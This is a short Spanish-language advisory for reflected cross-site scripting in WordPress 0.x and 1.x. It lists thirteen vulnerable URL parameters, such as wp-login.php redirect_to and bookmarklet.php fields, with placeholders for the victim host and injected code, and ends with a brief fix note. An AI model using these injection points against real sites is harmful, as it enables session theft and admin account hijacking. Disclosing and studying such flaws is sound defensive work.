Tipo::
Cross Site Scripting
DONDE:
Ataque Remoto
SOFTWARE:
Wordpress 0.x
Wordpress 1.x
DESCRIPTION:
Esta vulnerabilidad se trata de insertar codigo a la url (xxs) de manera remota, de manera que tenemos que encontrar un servidor con WORDPRESS y su correspondiente version.
Ejemplos:
http://[victim]/wp-login.php?redirect_to=[codigo]
http://[victim]/wp-login.php?mode=bookmarklet&text=[codigo]
http://[victim]/wp-login.php?mode=bookmarklet&popupurl=[codigo]
http://[victim]/wp-login.php?mode=bookmarklet&popuptitle=[codigo]
http://[victim]/admin-header.php?redirect=1&redirect_url=%22;[codigo]//
http://[victim]/bookmarklet.php?popuptitle=[codigo]
http://[victim]/bookmarklet.php?popupurl=[codigo]
http://[victim]/bookmarklet.php?content=[codigo]
http://[victim]/bookmarklet.php?post_title=[codigo]
http://[victim]/categories.php?action=edit&cat_ID=[codigo]
http://[victim]/edit.php?s=[codigo]
http://[victim]/edit-comments.php?s=[codigo]
http://[victim]/edit-comments.php?mode=[codigo]
SOLUCION:
Edita el codigo fuente de manera de que ese directorio quede a salvo o usa otro producto.
Autor